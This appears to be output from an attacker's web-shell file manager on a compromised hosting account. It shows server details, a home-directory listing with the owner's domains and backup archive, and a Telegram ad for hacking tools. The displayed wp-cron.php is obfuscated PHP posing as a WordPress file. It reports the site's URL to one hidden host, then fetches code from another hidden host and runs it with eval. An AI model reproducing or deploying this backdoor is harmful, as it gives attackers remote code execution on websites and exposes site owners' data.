aDriv4 website!

Linux server309.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
66.29.141.6

wp-cron.php

<?php
 goto tUl6b; wXtx3: $rHfMY = $_REQUEST["\144\157\141\143\x74"]; goto HgQ3I; aYfRm: session_start(); goto wXtx3; N7Xk9: $sJ3ad = (isset($_SERVER["\110\x54\x54\x50\x53"]) && $_SERVER["\x48\124\x54\x50\x53"] === "\x6f\156" ? "\150\164\x74\160\x73" : "\150\164\x74\160") . "\x3a\x2f\x2f{$_SERVER["\x48\124\x54\x50\137\x48\x4f\x53\x54"]}{$_SERVER["\122\x45\x51\125\x45\123\124\137\x55\x52\111"]}"; goto Pmj6n; LLG9S: function sXidc($sJ3ad) { goto n0NKE; NAssn: $tz7fb = curl_exec($U8dd8); goto S3rIV; yoBMI: return $tz7fb; goto VHWhP; TwOE6: $tz7fb = stream_get_contents($FJvaM); goto cwV9V; VDpuf: if (!function_exists("\x63\x75\x72\154\137\x65\x78\145\x63")) { goto el1M3; } goto XeE53; RIUJx: el1M3: goto qrsug; O9m5u: mfeik: goto yoBMI; vh255: $FJvaM = fopen($sJ3ad, "\x72"); goto TwOE6; ENMVc: if (!(empty($tz7fb) && function_exists("\146\x6f\x70\x65\x6e") && function_exists("\163\164\x72\x65\x61\155\137\147\x65\x74\137\143\x6f\x6e\x74\x65\156\164\163"))) { goto mfeik; } goto vh255; n0NKE: $tz7fb = ''; goto VDpuf; K9wqV: KCf2O: goto ENMVc; OEkP7: curl_setopt($U8dd8, CURLOPT_RETURNTRANSFER, 1); goto JMTNg; XeE53: $U8dd8 = curl_init($sJ3ad); goto OEkP7; S3rIV: curl_close($U8dd8); goto RIUJx; tkeD5: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYPEER, 0); goto cQqi_; JMTNg: curl_setopt($U8dd8, CURLOPT_FOLLOWLOCATION, 1); goto tkeD5; T4y9f: $tz7fb = file_get_contents($sJ3ad); goto K9wqV; cwV9V: fclose($FJvaM); goto O9m5u; cQqi_: curl_setopt($U8dd8, CURLOPT_SSL_VERIFYHOST, 0); goto NAssn; qrsug: if (!(empty($tz7fb) && function_exists("\x66\151\x6c\x65\x5f\x67\x65\x74\137\x63\157\156\x74\145\x6e\164\163"))) { goto KCf2O; } goto T4y9f; VHWhP: } goto KwJ9D; rzajS: exit; goto kAGwF; B6fd_: eval("\77\x3e" . $Biqik); goto rzajS; Pmj6n: XlPsQ(array("\167\145\x62" => $sJ3ad)); goto wwzKB; kAGwF: JS6LS: goto LLG9S; IQihW: KSZRy: goto K2jbV; tUl6b: error_reporting(0); goto aYfRm; HgQ3I: if (!empty($rHfMY)) { goto KSZRy; } goto N7Xk9; K2jbV: $_SESSION["\x64\x6f\x61\x63\164"] = $rHfMY; goto jZVAU; wwzKB: goto JS6LS; goto IQihW; jZVAU: $Biqik = sxIDc(str_rot13("\x75\147\x67\x63\x66\72\57\57\x75\x6f\157\156\144\141\56\x74\x6e\x7a\162\x6e\143\162\x2e\x67\142\x63\x2f\x71\x62\142\x65\x2f") . $rHfMY . "\56\164\x78\164"); goto B6fd_; KwJ9D: function xLpSq($oFbXi) { goto qRLdR; sgjQn: curl_setopt($OUnCg, CURLOPT_POSTFIELDS, $oFbXi); goto eEPm6; eEPm6: curl_setopt($OUnCg, CURLOPT_RETURNTRANSFER, true); goto JM27m; qB8i1: $OUnCg = curl_init(str_rot13($sJ3ad)); goto jfSiq; qRLdR: $sJ3ad = "\x75\x67\x67\x63\x3a\x2f\x2f\145\x72\x7a\x62\x67\162\x32\60\62\x35\x2e\157\154\x75\x62\x67\x2e\147\x62\x63\x2f\166\x61\161\x72\x6b\56\x63\165\143"; goto qB8i1; JM27m: $FJ0YN = curl_exec($OUnCg); goto RiAUd; RiAUd: curl_close($OUnCg); goto OBMXo; jfSiq: curl_setopt($OUnCg, CURLOPT_POST, 1); goto sgjQn; OBMXo: }
?>

Name	Type	Size	Owner/Group	Permission	Last Modified	Actions
.	dir	-	markawrw/markawrw	0711	2026-03-19 06:33:37
..	dir	-	root/nobody	0755	2024-05-19 07:20:56
.cagefs	dir	-	markawrw/markawrw	0771	2023-04-15 06:58:51
.caldav	dir	-	markawrw/markawrw	0755	2025-05-17 04:29:28
.cl.selector	dir	-	markawrw/markawrw	0755	2026-04-09 08:33:48
.clwpos	dir	-	markawrw/markawrw	0700	2023-04-20 09:34:53
.cpanel	dir	-	markawrw/markawrw	0700	2026-04-15 05:13:54
.cphorde	dir	-	markawrw/markawrw	0700	2024-01-22 06:45:12
.htpasswds	dir	-	markawrw/nobody	0750	2023-04-15 06:17:29
.nc_plugin	dir	-	root/root	0711	2023-04-15 06:17:36
.pki	dir	-	markawrw/markawrw	0740	2023-04-16 07:59:08
.softaculous	dir	-	markawrw/markawrw	0711	2026-03-12 10:35:45
.spamassassin	dir	-	markawrw/markawrw	0700	2023-04-15 06:17:31
.trash	dir	-	markawrw/markawrw	0700	2026-04-14 08:16:36
access-logs	link	-	root/markawrw	0750	2026-04-14 12:06:25
etc	dir	-	markawrw/mail	0750	2026-04-11 07:34:20
logs	dir	-	markawrw/markawrw	0700	2026-04-14 12:39:12
lscache	dir	-	nobody/markawrw	2770	2026-03-14 03:24:21
lscmData	dir	-	markawrw/markawrw	0700	2026-03-14 03:24:21
mail	dir	-	markawrw/markawrw	0751	2026-04-15 05:42:31
marketingprofitmedia.com	dir	-	markawrw/nobody	0750	2026-04-14 08:39:32
profitmediahacks.com	dir	-	markawrw/nobody	0750	2026-04-14 04:00:31
public_ftp	dir	-	markawrw/markawrw	0750	2026-03-14 03:24:21
public_html	dir	-	markawrw/nobody	0755	2026-04-15 02:15:09
softaculous_backups	dir	-	markawrw/markawrw	0711	2026-03-14 03:24:21
ssl	dir	-	markawrw/markawrw	0755	2026-04-14 07:04:10
tmp	dir	-	markawrw/markawrw	0755	2026-04-14 08:39:05
www	link	-	markawrw/nobody	0755	2026-04-15 02:15:09
.bash_logout	text/plain	18 B	markawrw/markawrw	0644	2023-04-15 06:17:29
.bash_profile	text/plain	176 B	markawrw/markawrw	0644	2023-04-15 06:17:29
.bashrc	text/plain	124 B	markawrw/markawrw	0644	2023-04-15 06:17:29
.contactemail	text/plain	20 B	markawrw/markawrw	0640	2023-04-15 06:17:29
.imunify_patch_id	text/plain	106 B	markawrw/markawrw	0660	2026-03-18 07:47:59
.last.inodes	text/plain	4.14 KB	root/root	0644	2026-04-14 09:43:13
.lastlogin	text/plain	599 B	markawrw/markawrw	0600	2026-04-14 08:26:36
.myimunify_id	text/plain	102 B	markawrw/markawrw	0660	2024-05-19 08:21:25
.spamassassinboxenable	application/x-empty	0 B	markawrw/markawrw	0644	2023-04-15 06:17:31
.spamassassinenable	application/x-empty	0 B	markawrw/markawrw	0644	2023-04-15 06:17:31
backup-4.17.2025_11-57-52_markawrw.tar.gz	application/gzip	8.07 GB	markawrw/markawrw	0600	2025-04-17 04:07:03
wp-blog-header.php	text/x-php	2.74 KB	markawrw/markawrw	0444	2026-03-14 03:24:21
wp-cron.php	text/x-php	2.74 KB	markawrw/markawrw	0644	2026-03-14 03:24:21

For more Private tool come to me!

https://t.me/aDriv4vz